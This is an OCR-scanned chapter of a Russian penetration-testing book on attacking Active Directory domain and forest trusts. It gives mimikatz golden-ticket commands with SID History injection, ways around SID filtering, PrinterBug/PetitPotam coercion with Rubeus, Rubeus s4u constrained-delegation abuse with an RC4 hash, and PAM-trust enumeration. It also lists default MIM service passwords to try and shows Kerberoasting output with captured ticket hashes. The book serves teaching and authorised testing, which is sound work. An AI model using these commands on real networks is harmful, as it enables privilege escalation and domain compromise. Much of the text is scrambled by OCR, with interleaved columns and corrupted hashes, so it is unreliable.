Глава 1. Как работают атаки на доверенные отношения доменов и лесов АО 19 Леса А теперь пора поговорить о подводных камнях. Казалось бы, в атаке нет ничего сложного. Да, действительно, между доменами она сработает без проблем, но, как только мы начнем атаковать леса, столкнемся с раздражающим Помните ли вы про опцию /sids? Access Denied. Наша беда заключается именно в ней. Возможно, мы сумеем получить доступ к каким-либо ресурсам в другом лесе, но зачастую количество этих ресурсов будет ограничено, если у нас вообще что-то получится. Проблема кроется в так называемом теме, которая фильтрует из SIDHistory SID Filtering - специальной сис­ пересекающие границу леса привилегиями, не позволяя получить доступ куда-либо. У группы по умолчанию SID с высокими Enterprise Admins RID составляет 519. Да и в принципе у всех более-менее RID < 1ООО. Вы уже догадались, как мы будем обходить рованных групп привилеги­ это ограни­ чение? Сначала предлагаю проверить наличие этого самого SID Filtering (рис. 1. 7): # AD Module Get-ADTrust -Filter * Direction Di sall owTransivity Distingui shedName False CN =euvendor.local,CN =System,DC =eu,DC =local Forestтran si tive Тгuе IntraFores t IsT ree Parent IsTr eeRoot Ndme bjectCla ss bjectGUID Selec tiveAuthenticat ion SIDF i 1ter i ng Fores tA1•1are Fdlse Fal se False euvendor .local trustedDomain IDFilteг i ngQua г antined Souг c e T aгget TGTDelegation Trus tAt t r i bL1 tes TrustedPo li cy TrustingPo licy Trust Type UplevelOnly UsesAESKeys Uses R C 4 Encгyption BiDiгectional 7f2eЫca - 70bc - 4f72 - 92a7 - c04aaaf296c4 False Tr ue False DC=eu,DC=local euvendor . local False 72 Uplevel Fal se Fal se Fa l se Рис. 1.7. SID Filtering SIDFilteringForestAware установлено в True. В связи с этим мы должны будем группы, у которых RID > 1ООО . Эти группы мы внедрим в SIDHistory и сможем Значение найти получить доступ к другому лесу . Искать можно следующим образом (рис. 1.8): # AD Module Get -ADGroup -Filter ' SID -ge "<SID атакуемого леса>-1000 "' -Server <атакуемый лес>
Часть 20 /. Пентест Active Directory Get -ADGroup -Filter 'SID -ge "S · l · S- 21 -4066061358-3942393892 -617142613 - 1000"' -Server euvendor.local DistinguishedName GroupCategory GroupScope Name ObjectClass ObjectGUID SamAccountName SID CN=DnsAdmins,CN=Users,DC=euvendor,DC=local Security Domainlocal DnsAdmins group 558b62ba-e634-4bda-9lcf-9d6e9c9aaee8 DnsAdmins S-1-5-21-4066061358-3942393892-617142613-1101 DistinguishedName GroupCategory GroupScope Name ObjectClass ObjectGUID SamAccountName SID CN=DnsUpdateProxy,CN=Users,DC=euvendor,DC=local Security Global DnsUpdateProxy group D1stinguishedName GroupCategory GroupScope Name ObjectClass ObjectGUID SamAccounttJaine CN=EUAdmins,CN=Users,DC=euvendor,DC=local Security Global EUAdmins gr'O llp SID 8b8804e3-3914-49cЗ-8bS1-562c0644d60d DnsUpdateProxy 5-1-5 · 21-4066061358-3942393892·617142613·1102 1d ad06 33 -fcf 5- 4 9 d c-9431-8Ы67c f 36969 euadmiris S-l-S-21-4066061358-3942393892-617142613-1 103 Рис. 1.8. Поиск групп с Видим интересную группу EUAdmins с SID RID > 1ООО s-1-5-21-4066061358-3942393892-617142613-llOЗ, поэтому генерируем тикет, как описано выше, но указывая в SIDHistory SID этой группы. Выдаем себя за контроллер домена Tt.•riepь вы знаете, что такое ко SIDHistory, поэтому мы можем даже выдать себя за роллер домена: ke c,:eros: :golden /usеr:<имя УЗ текущего /groups:516 /krЬtgt:<krЬtgt-xeш Controllers>,S-1-5-9 /ptt домена> Опцией /groups:516 мы указали RID ДК> /dоmаin:<текущий домен> /sid:<SID текущего домена> группы Domaiп /sids:<SID текущего группы контроллеров домена, а /sids:S-1-5-9 - группа Enterprise Domain Controllers. Вы можете поэкспериментировать со стандарт­ ными SID, их структуры представлены здесь: https://docs.microsoft.com/enus/openspecs/windows_protocols/ms-dtyp/81 d92 bba-d22 Ь-4а8с-908а-554аЫ9148аЬ. Неограниченное делегирование Как я уже сказал, не буду вдаваться в теоретические подробности неограниченного делегирования - в издательстве «БХВ» выходила прекрасная книга по безопасно­ AD «Active Directory глазами хакера» от автора Ralf Hacker (https://bhv.ru/ product/active-directory-glazami-hakera/), который рассматривает эту технологию сти в том числе. Мы же взглянем на нее как на дополнительный вектор атаки на отно­ шения.
Глава 1. 21 Как работают атаки на доверенные отношения доменов и лесов АО Между доменами По умолчанию на всех контроллерах домена включено неограниченное делегиро­ вание . В связи с этим мы можем «заставить» атакуемый контроллер домена обра­ титься к нашим ресурсам , допустим, с помощью PrinterBug или Pet itPotam. Синтаксис будет примерно следующий : # Запус каем монито rJ «Рубеуса» RuЬeus . exe rnoпitor /targetuser :dc0 l$ /internal:5 /nowrap # Триггерим Pri nterBug MS-RPRN. ехе \ \<атакуемый КД> \ \< н а ш кд с неограниче нным MS-RPRN .exe \\dcOl. rnegabaпk . loca l \\dc02. priv.local делегированием> Между лесами Здесь нас опять будут поджидать сюрпризы! Не так давно этой Согласитесь, проблемой. маленький лес как-то не очень компании rnycra . l ocal, а потом хорошо, Microsoft если перебрасываются озаботилась хакеры ломают на большой - rnisha . local. Поэтому появился механизм TGT Delegation. Если очень коротко, то этот механизм предотвращает хождение контроллера домена со своим TGT в дру­ гой лес, поэтому его бесполезно триггерить с помощью PrinterBug, Peti tPotam или любым другим способом. Сначала требуется обнаружить, включен ли TGT Delegation (рис . 1.9, вдруг еще не все так плохо?): PS . С ~ \Usеrs\Адr4инистратор> Get -ADTrust Командлет Get-ADTrust ·в конвейере команд в позиции 1 Укажите значения для следУЮЩИХ параметров : Filter: * Di~ection Disallo1йransivity DistinguishedName ForestTransitive Intraforest IsTreeParent IsTreeRoot Name ObjectClass ObjectGUID SelectiveAuthentication SIDFilteringForestAware SIDFilteringQuarantined Source Target ,- TrustAttributes TrustedPolicy TrustingPolicy TrustType UplevelOnly UsesAESKeys UsesRC4Encryption Рис . BiDirectional False CN=production . local,CN=System,DC=priv,DC=local True False False False production.local trustedOomain 56962021-4~З0 - 488е-929е-97d9е80З564е False False False OC=priv,DC=local production.local 2056 Uplevel False False False 1.9. Проверяем, включен ли TGT Delegation
Часть 22 /. Пентест Active Directory <атакуемый лес> /dоmаin :<текуший лес> /EnaЬleTgtDelegation netdom trust # АО Module Get- ADT rust - server <атакуемый лес> -Filter * Get- ADTrust - Filter (Direction - eq "I nbound" } 1 ft Name , TGTDelegation Нам повезло - production. local использует TGT Delegation. Значит, мы можем триг­ герить контроллер этого . домена на наш контроллер, хотя по умолчанию включена настройка TGTDelegation: False (рис. 1.1 О). Рис . 1.10. По умолчанию включена настройка TGTDelegation: False Поэтому КД домена megabank .local мы не сможем заставить сходить к нам. Также если мы каким-то образом получили доступ с правами ДА/ЛА на атакуемом КД, то можем принудительно включить netdom trust <текуший TGT Delegation, (а такуемый ) лес> /doma in:<лec, что сделает лес уязвимым: из которого будем атаковать> /EnaЬl e TGT Delegation:Yes netdom trust megabank.local /domain :priv.local /EnaЬl e T GTDelegatio n: Yes После не забудьте отключить следующие функции: netdom trus t megabank . local /domain: pr iv . local /E naЫeTGT De lega t i on: No Ограниченное делегирование С ограниченным делегированием все достаточно просто. Сначала ищем нужные УЗ в другом домене/лесе (рис . 1.11 ): # PowerView Get- DomainOser - TrustedToAuth -Domain eu. l ocal Get- Domai nComputer -TrustedToAuth - Domai n eu . loca l
Глава # 1. Как работают атаки на доверенные отношения доменов и лесов АО 23 Module Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo -Server eu.local АО \ AD\ Tools\дDНodule-aaster\Kicrosoft .ActiveOirectory .Мanagюent . dll PS С: \Use rs \studentuser23> Import -f'\Odule С: PS с: \Us ers \studentuser23> t11pcrt-'10dule с : \АО\ Tools \дDМOdule-aaster\Act1veo1rectory \ Act1veotrectory. psd1 PS С: \Users\studen tu s.er2Э> Get-AOObject • F i 1t,-r- {ll'>OS -AlloW@'dT~legitteTo -ne "'Snull " } -Propt!'rt1~s 11sOS-AllowedTOOelegitteTo -Seirver eu. local rHstin&uishedName ,-sOS-Al lowedToOt' leeateTo • iNalIO CN= s torвgesvc) (N,,.Users, OC =eu, ОС= loca 1 iobjectelass user 841 f~b0-a442-4cdf - af 34 ·6SS9480a2d74 ObjectGU!D {tl11e/EU-OC.eu. local/eu. local. ti11e/EU·OC.eu. local. storagesvc Рис. 1.11. ti ■ e/EU-OC, ti11e/EU-OC.eu. l ocal/EU ... } Ищем нужные учетные записи в другом домене/лесе Видим, что некоему storagesvc разрешено делегировать time/EU-DC. eu. local. При этом, напоминаю, сервисная часть билета не подписывается. Как следствие, мы можем изменить time RuЬeus.exe s4u на cifs или ldap: /user:<юзep с ограниченным делегированием> /rc4:<xew юзера с ограниченным делегированием> /impersonateuser:<чeй билет хотим получить> /dоmаin:<атакуемый домен> /msdsspn:<cepвиc>/<кoмп, хотим получить доступ> на который разрешено делегирование> /altservice:<нa какой еще сервис /dc:<dc атакуемого домена> /ptt s4u /user:storagesvc /rc4:5C76877A9C454CDED58807C20C20AEAC /impersonateuser:Administrator /domain:eu.local /msdsspn:cifs/eu-dc.eu.local / altservice:ldap /dc:eu-dc.eu.local /ptt RuЬeus.exe РАМ Trust Privileged Access Management был представлен в Windows Server 2016. По мнению Microsoft, он помогает «смягчить проблемы безопасности в средах Active Directory». Сейчас мы обратимся к сайту Microsoft, разберем этот механизм, а по­ том рассмотрим, как можно обойти ограничения. представляет РАМ собой дополнительный лес администраторов (лес вastion). Trust от другого леса (лес corp). А управле­ ние ведется с помощью MIM (Microsoft ldentity Management). MIM создает допол­ нительные теневые принципалы безопасности (shadow security principal) в лесе К данному лесу настроено доверие РАМ вastion - это группы, пользователи и компьютеры, которые сопоставляются с теми же группами, пользователями и компьютерами в лесе веряет ний в corp (т. е. в лесе, который до­ Bastion по РАМ Trust). Это позволяет управлять другими лесами без измене­ ACL и без интерактивного входа в систему. Обнаружение Обнаружить РАМ-доверие несложно. Оно всегда одностороннее - к лесу админи­ страторов из обычного леса. Под обычным лесом я подразумеваю просто какой-то лес, который управляется лесом администраторов. У такого доверия в свойствах EnaЫeSIDHistory и EnaЬlePIMTrust указано значение yes. Первое позволяет вставлять SID
Часть 24 обычного леса в билеты леса администраторов, второе - /. Пентест Active Directory использовать SID даже с высокими привилегиями (например, Ent erpri se Admins ). Благодаря этому автомати­ чески обходится sro Filtering. Проверка, не в бастионном лесе ли мы Если ·вдруг мы скомпрометировали лес администраторов (вastion), то мы также сможем получить доступ ко всем обычным лесам, которыми управляет этот лес (в нашем примере это лес Corp). Мы можем проверить, не находимся ли мы в лесе администраторов. У этого леса имеются следующие признаки: для доверия True, в SIDFilteri ngQua ranti ned - ForestTransit ive установлено значение False (что означает, что фильтрация SID отключена), а также у него есть нужные атрибуты доверия: # AD Module Get- ADTrust -Fi lter { (ForestTransitive - eq $True) - and (SIDFilteringQuaranti ned - eq $Fa l se)) Чтобы нам было проще отличить РАМ .тrust, рассмотрим два примера (рис . 1.12). outbound False CN=techcorp.local,CN=System,DC=bastion,oc=local Direction Disallowтrans;vity DistinguishedName Forestтransitive тrue False False False techcorp. 1 оса 1 trustedoomain 05498dce-bdab-4a88-946d-077d5dd0da16 False False False OC=bastion,OC=local techcorp. local False IntraForest IsTreeParent tsтreeRoot Name Objectclass Ob]ectGUIO selectiveAuthentication SIDFilteringForestAware SIOF;lteringQuarantined source тarget TGТOelegation TrustAttributes TrustedPolicy TrustingPolicy 8 uplevel False False False тrustтype Uplevelonly usesAESKeys usesRC4Encryption Рис. 1.12. Лес с транзитивным доверием Здесь мы видим , что bastion. local имеет Outbound-дoвepиe к techcorp. local . То есть пользователи techcorp.local могут получать доступ к ресурсам bastion . local . Это не РАМ Trust. Это просто лес с транзитивным доверием и отключенной фильтрацией SID. Второй пример - см. рис . 1.13. Здесь мы видим, что bastion.local имеет lnbound-дoвepиe от production.local. То есть пользователи bastion.local могут получать доступ к ресурсам production.local. Это уже похоже на РАМ Trust. Внимательный читатель спросит: «Миша , а что за атри­ буты доверия?» Мы рассмотрим их позже . Чтобы быть уверенными, что мы действительно находимся в бастионном лесе, мы должны попробовать перечислить shadow securi ty principals. Эти объекты создаются
Глава 1. Как работают атаки на доверенные отношения доменов и лесов АО о;гесt;оп 25 Inbound False CN=product;on.local,CN=System,DC=bast;on,DC=local o;sallowтrans;v;ty o;st;ngu;shedName Forestтransн;ve - тrue IntraForest IsTreeParent IsTreeRoot Name Objectclass ObJectGUID Select;veAuthent;cat;on SIDF;lter;ngForestAware SIDF;lteг;ngQuarant;ned source Target False False False product;on. local trustedOomain 3e0958ef-54c4-4afe-b4df-67215Dcldbfc False False False QC=Ьastion,OC;local J"i"oduction. local False - TGТt>elegat;on тrustAttr;ьutes 8 TrustedPol;cy Trust;ngPol;cy Uplevel False False False тгustType \Jplevelonly \JsesAESKeys \JsesRC4Encryption Рис. 1.13. РАМ Trust в специальном контейнере. Если объекты есть, это значит, что наше предположе­ ние верно (рис. # PS 1.14): Modul e Get-AOObject - Sear chBase ("CN=Shadow Princi pal Conf i gurati on,CN=Se rvi ces ," + (Get-AORootOSE) . conf igurationNamingContext) -Fi l ter * - Properties * 1 se l ect Name,mernЬe r, msOS - S hadowPr i n cipal Sid I f l АО С: users Adm1n1strator> Get-ADObJect - searchвase ("CN=S adow Pr;nc1pa1 Cont;gurat1on,CN=Serv1ces," 1 select Namt,member,msos-shad"owPrincipalSid I fl urationNamingContext) ·Filter • -Properties • Name member msDS·ShadowPr; пс; ра 1s; d + (Get-AORootDSE .conf19 Shadow Principa1 Configuration {} prodforest-ShadowEnterpri seAdmi n Name member msDS·ShadowPr; nci ра 1si d {CN=Admi п; strator, CN=Users, DC=bastion, ОС= loca 1} S-1 ·5·21 • 1765907967-2493560013· 34545785-519 Рис. Вывод на рис. 1.14 1.14. Shadow security principals подтверждает наши догадки . Мы видим, что перед нами группа prodforest- ShadowEnterpriseAdmi n, а участником этой группы является пользователь Admini strat or домена bast i on . local. Но стоит отметить, что членство в таких группах непостоянное . Если вывод пуст, мы должны вреJ\1Я от времени проверять, какой пол ьзователь добавился в эту группу . Также можно обратить внимание на группу msos ,.,rPrincipalSid. Как мы видим, у этой группы rid 519, что соответствует стан­ RID группы Ente rpr ise Adшin s. дарт11,1,, , у Проверяем, не управляется ли текущий лес ка;:мм-то другим по РАМ Trust Мы также можем выяснить, управляется ли наш текущий лес бастионным лесом. Перечислим все трасты, которые могут быть похожи на РАМ # Modul e Ge t-AOT rust -Filter ( (ForestTransitive - eq $True)) АО Trust (рис. 1.15):
Часть 26 /. Пентест Active Directory PS C:\Users\Administrator> Get-ADTrust -Filter {(Forestтгansitive -eq STrue)} Direction Disallowтransivity outbound False Forestтransitive тrue CN•bastion. local ,Clll•System,DC"pгoduction ,DC"1oca1 DistinguishedName oь~· ectclass False False Fa1se bast,on.1oca1 trustedDomain SIDFilteгingForestAware Тгuе IntraForest IsTreeParent IsTreeRoot Name ectGUID Se ectiveAuthentication f6ebbca6-749d-4ee6-bb6d-d3bbЫ78fd02 ОЬ False SIDFilteringQuarantined Source arget False ОС GТ\f!legation е rustAttributes rustedPolicy rustingPolicy rustType uplevelonly usesAESKeys 11ro 1.15. . ,ОС"'1оса1 t • 1096 uplevel Fa1se False ar.tc ......... .,..,.-..-. .-. Рис. d ~,ro Перечислим все трасты, которые могут быть похожи на РАМ Trust Мы видим, что production.local имеет Outbound-дoвepиe к bastion.local, т. е . доверяет ему. Теперь стоит обратить внимание на TrustAttributes. На РАМ Trust будут указывать два значения: □ 1024 (ОхООООО 4О О) - доверие РАМ □ 1096- это и РАМ Trust, Также РАМ Trust и Trust и Extemal Trust (внешнее доверие); External Trust (внешнее Forest Transitive. всегда односторонний (от обычного леса к лесу админов) . Если мы сомневаемся, РАМ Trust ли это, то можем попробовать узнать ОС контроллеров домена леса, которому доверяет наш лес. Если это возможен РАМ доверие), и Trust, Windows Server 2016 и выше, то если ниже, то абсолютно точно нет. Дополнительные проверки и новые угрозы Если вы посмотрели в документации Microsoft (https://docs.microsoft.com/ru-ru/ microsoft-identity-manager/pam/step-2-prepare-priv-domain-controller), как созда­ вать РАМ Trust, то, скорее всего, заметили следующие команды: import-module activedirectory $sp = ConvertTo-SecureString "Pass@wordl " - asplaintext -force New-ADUser -SamAccountName МIММА -name МIММА Этой командой создаются дополнительные служебные пользователи в лесе адми­ нистраторов, которые требуются для управления MIM. Если в домене присутствует один из следующих пользователей, это намного увели­ чивает шансы того , что перед нами лес администраторов: # PowerView # v2 Get-NetUser -Domain priv . 1ocal
Глава # 1. Как работают атаки на доверенные отношения доменов и лесов АО 27 vЗ Get- Domai nUser -Domain priv. l oca l # AD Modul e Get-ADUser -Fi lter * - Pr ope r t i es * - Server pr iv .local МIММА <- 100% лес адми но в <- 100% ле с админов MIММoni t o r MIMComponent <- 100% лес адми нов MIMSync <- 100 % лес а дмин о в MIMService <- 100 % л е с адми нов <MI МAdmin <- 100% л ес админ о в SharePoint <- В ходит в группу дА SqlServer BackupAdmin Входит в группу дА Все эти учетные записи стоит проверить с паролем Pass@wordl. Также , если мы на­ шли учетки PRIV. pamRequestor или pamrequestor, имеет смысл попробовать пароли LOngP@s swOr d и LOngP@sswOrdl . Ко всему прочему у всех этих пользователей настроен поэтому SPN, (рис . t,etUsнsvi..-.. ру l•packet мы можем атаковать их с использованием '~t>gaЬank. loca t/1qnat :Gnзt ik98J91W! v0.9.2'i.dev1•20220323.1801i07.HЗ22697 Kerberoasting priv. loca\ • - Cop~right 2021 SecureAuth torporation Pa!.ы,юrdldstSet Serv lcePr i nc ipa LNamt• Ndm!.' Mt.omberOf FIМService/pamsrv MIMSPrv itt> CN~OO .()},.D . ~ , NNN0° NO\NN D ·o\.l)!d)~O\D• ,CN~Users, DC• priv ,DC• locat ,()},О , О ' l).\f)i.,D~D):.D• FIMServiCL'/pamsrv.priv. tocat "'TMServ iц• CN~OO • OJ..o http/paJDSГ\I Sha rePoi r1t SharePoint J,pop,,.-. CN·•OO ·o}u),0\0, NNNo• ND'JtN o·~oµD"-0° , CN•Users,DC.-priv,DC•lotat o,1~oo·o•~D,D\D.NNND~Nf>!.NN 0·~0µ1Pill• ,CN •Users,DC .-priv,DC •loc::at CN•OO - D'Ф ,fJ.\D , NNND~N~N D,NDµD . D;}Ш .NNo .N, CN•US('Г!>,DC•priv, DC• tctat ht tp/pamsrv. pr iv. loc,1t m11sic/j1.>n атаки 1.16). NNNo· Nl))JjN , CN~Users,OC•priv ,OC• locat lastl 2022-08-08 18:09:52.20'794 <never> 2022-08-08 18:09:52.20279li <never> 2022-08-08 1е:09:S2.З43371 <never:> 2022-08· 08 18:69:52.343371 <never> ]021· 08 · 09 10: 30: )4, 127426 <nt>YPr > { ) C(ache fi(e is not fo und . S k ippin~ ... 1k rb!»t яs$2 J$tMIH~erv ice$PM 1V. lotAl $pr i у. t ос а \/MJM5e rv i се, 1')48ЬЗ 12еJ t /dl2cc210J9113991Jc:: 16 7f ,1 $ 07e61cbd2S llic8eebc::8f bb0Ьdf с 024ЬЬа567104 7f ali0 lbt'C20048J411бdf af с /44' dtb0tJtJSa f2tJabЫ44d4b89e')8')8,1t'dlddC' 1b9c84t>d8bldlea 12b6,10JSJ 717 f cM451400d54 76f S',6897 7t32Зb316,19')74df t349c 7Ь6dd914d4 I 7d('f (' f28Jd 3 fbS}ddd f f69J1 bdt'81b 7ЬJ9att•4 S /а, 089Jbdet0d9]bedt. 7Se9ecde)9906421cbdt.'ddbd4dd )1;а491110 f 6S168c )с2 f О f 86S90rb]b817b8Je~eb74S0ef ,1dS.18e48dd7b41 ьо 721c98lbac318111Sl.ia80c::<>97t'lSS84Ht>SJd89a8ddt4r.:.9" f 6• 1 /6f68d9t ~(. 69/ .12.124d 1486d2d 73Jt 19 r f 09d]6Jt•6d',da) 1 ]ddbdt'0db699SS9S24b8d')76f f8б19ба72Ьt.042 f 6Sbb8C!]]bc.b)2475)8]1.'39]3dt>6d r 23]bdb5)0C!b86/7 729ctiul.i852{'dl.ib998f d fJ)t,, ')04634t6017t606f5Ыlt,2(!fdd541JOt,Ы8b52db8;aa8/129ld424lbdЬfC6cf<.S48d,.1l(•64610d21bt•Jlddd9.Jd1l71Jt'fd5f1Jf82l(d221100Зd,ldd,Ы8c1З67,1fб2d1086J7,tt1929t-Ь4dbd4Jf16978ЬI fSt, 7t>.i48681bO}b5dl JS],18b89b f 131.ot,t,б ]l,c .iS 1 7]dt.:IЧ f 32 7 f Ьl'Sb,J f dtЫOl 5.Jl]SЬJ 12( 2{ {'d561'01 ],1f,4dбb] 299tdd 7Ы50ed4b863Sc54N8a2f 61c88l•01.J61 r f 418f28tЬJ84 ]8lt,88f t,9Sf1JJI 1•1 J6Jt,a f dl /9?afiЬfbS 355 3 54,1Ь6ЬЬ,19 Jdd 711281.obl.ie';t 5 f b6.J8d0t1,119d19f f с::9900< .1327353 fC,t,b572 78572855{'14З Ь8аS<..16е9]('\{'241Ь8ссЗ100( f c3cc5f 5cS98b7 .1446.Jt•.19 /l.i 31.i"JSf,Od007160' (']4Jf31,951 f 58( 851 J Jc 88}( C,1dd861 ldl 1] f dbl f 6f t• 1.l 7t,')';id943119;1,1Ь)078( d,lf'580f'd( 08fi6c-5.1}dan8N889bl.o876dt87') 1b,16 l68dt, f C2t>ЗdS 7r4ЗЗ fbt•li8Зf dC'.Jbr>6J 740('d{)]0( f (•988{ а994С' f dl,8Ь9919 ]}8} l<Ыb.Jfi0('1,,)C8fb 11 Ь')] Jr4,J(' 1 17d0041 rб'i,111 f d 1t,,9J37Ь5с f5db8 l],l4 S 166( 69d(,O JЫ,f 873( ')4 f ,1С Jd601d]60718}4(S4a003917d'i]bb00799cc 1,lS4f f ('9С'Ч4с 74 ]9t. rьь /d/d( J J90bf>9b('1bl)Ь('fH,м пы /b(H('('f11 J tм 1 }d J4bl'i'i01bбll}t,( ]]O :!cl, I ]Sбddl,f 4,l77rS74f lh999M6J'J( bJ}bJ894f dJ 3969Ct><J1dt,J&f]t,df(')t,c 1(]('9816104/Sl ld:! lb9}44] 7}1b9]Rbbl fr ff)l $krl1'1t !!"-S J J1•'>1мr('l-'01ПI 1~•111 V . 1 О(ЛI Spr iv. loc ,11 ,~;h,lrPPOif1t • $//!,l('ЫhrRl)(}d1 fr01i} lf r(' )Jt,br9}0c01c lddcf!Ы / /dbl 71'11.•fdl86C]( Jl,1/J7 d 4c]bl :!f /':,,1"1f с/')46]('( b')/8't1R4RR/Q1 • 1 .10;1 lf,44d f 1 }40} 1J 1 J.t}Rr f,, b'J,J( ,l 1tl f /'191 ,111] /f1,IP 1h /('"/ 10 f 01J :1/d J ""I н,ьььсть,11СJd \(' 1 1 'l,,Ql €'d lR') Jd lbblddORM,0 f r>JH'Jt,cOB"c( l'dS t Jabf'6,1r (>1 f l'f l''JCJ /!1911,K':JdOH /f,,Jd,lf,bf'Jd H!Q,1f,C'dt ,11 I JIRJ IO liRQ l.t11,40401J1J,l!Jb<)R \114lb,1.111,111111/111 '1!1 /Нс] 1 !,~,ь!,f1'Jbl1/a]t .. , ·1 tCJЧl'>hh 1 811111 f d.-Bl,dtl ;id,ы / ldЬ'11 RR lbb1.'d<J,1bl 11]b{'t'/b]fi;\}( J0"/591r,1"/~11'(19Ht!,r4""/Hl91 btl 1('~4al ьf 4]('dt,, ЬlИ,1 J41Jfl/'>9'>1>}0RIHl0Jf ('/bl,d/'J,1(}f19HN /11111 11J\1'10l1N. (•f14',l'H)('d9f'd()/{1]7]"/0l]l ',f rORI d{•l lb911•,4 )Чr6R1 ', 1191.-/a}bl 0IP0brlJ6t,7]bl1bdh!1('JIJdt1hbctHf'lt.(Q8,1'йf 17407( .t4f /О}}ОЬ] li,190 I l1t•',b ldl.o] lfl\J J1,fi00 J f<J IВdd 11 bdtb'Jl,/1 / JЫ11l.1Hf1l,l1~1 J!,"J J 1t1 /bllOJ!iHt'1d'>01bllb'>dt.bt Ь.1]1•Ь{'С4б "/ ;1{,/Ь98с / /S l(•d f dt'SI Ot dЫ,CJt,IIOrJr.,1012tbal,'J0,1rl !,d,1t OH,1141•1!b9484 l ',l,0b{ 'JB -111• /99 l,111111 41 ,1b'.,t,bt .J.11.i,•88 /1/Ь 191:1';t ', /d8,1IJOIJd.lHbt flJ tl,t 9] /t blt 2rlN О 1 t-bЗ}bdt !it f ILb( ,111982<.1(,8 f Ь 1,и•ОI>!. rQdS4 ';;JS}'>l,Jc f 1,Jdt l.idt .J51d95420 l 8e..itt 1, ':J'Jdtdf ,1t,tdt 2'>('t•.!H 180t.d3889181.id t,t,,11•d91tl ... ,и <Jb,I lt,9 / }0', 11Jb,1 lcl /C)b<)t,98),1bl,1'1,000.1'>1 1, 71Jt (!"} f 9] f'>H.Jb/lJt 23 73,1,1 Jtll !it, l1•']b920t,1•9']b 1,12 f /0{,,11,9Ь,1Ь,.19 lt•5a] d51'dt•6d lt,6 '}87dd'1J f'>е26.1б2 J6f '>t,11 ')',92'>1 1 ~9981 UR8<. 54 ]l,9,11•Jl}1•bbd1 tl 11 /t•f,l+L 'jfb)t,'] 1 /f40140bJtl{ t /~11-~Jt•dOl,•)')"J ]/221 Jftt. lef<Ja/b',()81,,J, 841.о /ROЫ,/11.1•.JZ. )11 /f ,l'>dt>St /]bl.iOt•]'>Ob"/l'>20r>/bC!'>t'501•1 f112f~,J(l't.2bet.JS')8,1lbt-t•l.i8l]d] ! ',t•4]. t11•2711',/ IOU'н t 91 ь,lcl•J 11,u1,11.ifl•Jt16S]J<Jl481 I Jt J4{ /l '>ft•bt•)1JOIJL•.12'1()f,t,t, J')f 1Ыkf'i219t•l.i ! ],• b'J 8 U.11,8] tt•91 ,.1bЬf,7tlbbl> d( 95bbt•NJ<.1t•f8JbOt•(.'t•Jbdft ',':,29,19t1Jf9,11•0HЬ'J"Jl,,10]b4t•t t•dd l,1fl, Ь90}К 12 ',Ь 11 l.obltlbt' f НI f :ioJ '.,J,,t 6'1 1 41',.1(•4 Jl•b'>'1')fJ l 8 /'1f .18f?dOOИUlнl'.>dJ9]t /b8<Jb8b',d,12 /t, /с8с:: 19 /'Jb'>t•'>dt Jt,1,ll'Jьt, ... 7bt•'>81J4 ld!i8t•90f(J')J4<JI, J /',Jt ,11,8} 16.J<)( f ],1 f 01,1 / f ,1 f 1 /81! 1 l't'• S1,.1 l1'1tн•,1J -J1• J . 11щ1t•i, 111f~IV .1 Оlд\ 1vr iv. 1 uc .il / j . VUJH' <,. • 1fl')'),1p•)f Jt,()Obbf'e1Jfl9f t, ,J}b,H,l l'J,1 /U$%<Нit22,ы91•Ы f /01 bb'idl.J.19f8.i/J85dd18/1],1lb1 Ь Jd.-Ьf JJ81,f,JQR4:l]f t•Ч1I < 91., lt•b/1 )<)<)')')( t :JHt>J l!:-t1ЧJ'Jt' t',)1· 11 ('/ / .1/()t, lb.i9 f Ь('Ь(' .14 '1/О .ы9)0 )1, 14 /('1 ('('1 d46;/1.'bl.' 1)'1/ ,Jte 14Ьl1{ 4] 11cl.!H00 I ](" ,,,1 ,, 1 с:: ftH,d 14t 7]'i}d')JOJ( 8JfbS/ЫOOJ')t,') l lbd(I('', f bJO', 1 l,('00'.IOb J](' /80} '11!85: lcll 1 /t>H/ 1,1 lt 1•ь1, l,11,1 l>l'l,t,/1,11•,f (J'l1'>l,1lf1f111, 1 f '>) l('f'I f,f'>Ы,f 1lk<J IЬм J1t114}lн10'11'f'f!(} /('JJ>']t,','lt!Ь bOb,, 't'>U 1•;1r1id lt>1l},1(J(J1•114'•1.:1119'J'ia9fl91d')1J(lbb,I( ,1f'JJbrf;b,1t,b<J4h lf'.J1rlJ lh'),\l! (I} 1•1}1)/.it,1•4]< 4'>0] /]'Jt,,11,o•it, 1•1, t 111 / 1 1',40 l'IJ,11,,J('fl/,1kf 1)/h,1ьri 1}1 '140'101-11 ,11 t1Jtll1 114dht,} /'1'11 '>IJ7', I /Ф11М"/(4 ·1 1•1•ll1Jfo 1ro1,f1f,flf '>41,t,f'Jc• 11.i,11 'J 1 lb,Jf ('11,( 1 ,tfh'>Or>f>Ы /04 111}11}11)1 /( f'1/11t,4 I, 1,.1+ )'111< )1)1•0 .I Jl1/]'J<J/H'1/11 · 1,/1г!h1•1) \')} l lf,1•4,11•01 1.11,1,0, 1,111, / f l,/b 1Rr 111' 11,tO I0,1'1bf'l1гl1l1l14]11HIJ "l1•QM',,1Щ1 \1)1,J ·1и.11ь1 ,1.141, JbJ 19111,1}1 ;tl,,j(' 11 f }1(,f',11 11 OJr JIJ}1 111.11"/1l,1 o•J/1•t,hf1,1• .il11 dl,/1,( 1,,., О! ,,,,ы,0"1, / / , 1,o.,,,h11IH'lt,clt hJO,,R,11 4cl1H1f /4.J l 1Jfo.1 , Jf\t"{'d1'0'"11,Ь}I, l,1d( )'н•Jl,')l ,1t,I 1111,1,'lr 11•,1.,~ /1,!!(1011 h 1'>',IJ9 ""/ 1 fl1Jt, 111111 bf 1•'1R}l1blfФ/,•<J1,,.rtJHf' Jll 11Htf,1,t·Jr1111· 111•111•J1 11 ,11' 1, 1 :,11, /l,•)~>l>fl)( 1( !,/t)Ol,H1 1 0,1','JH 1]111 ,1/JRJ'I/ /<Jt,H()Jf ll>Чt .1)'>.11 '10 IJ1,d<l,JR4Jr1f'l 5f,',t,f 11111,1, нм:JdN. l,tJ'11J/(~>dl)dftbb]7901.i'.,7 i4d'J,11•f t,f8,1(,Jf.111910t .-•,f 1'111 t•(I( ,Н f1',l10t)') 'JJ1•!1) t1,1bl Ч,1:1 .111 <tlh',1 /Hr IHOt11IЩ1'нlllH11 ·1,11!/ i ·11',1 /t•f ',9,н•!,fll ,•fIOOl ,•bl, IRb(,pc•RI 11bl Ч,нJ', J81 J ltl'J)O)OHli,1 lt1/hll']Nlif 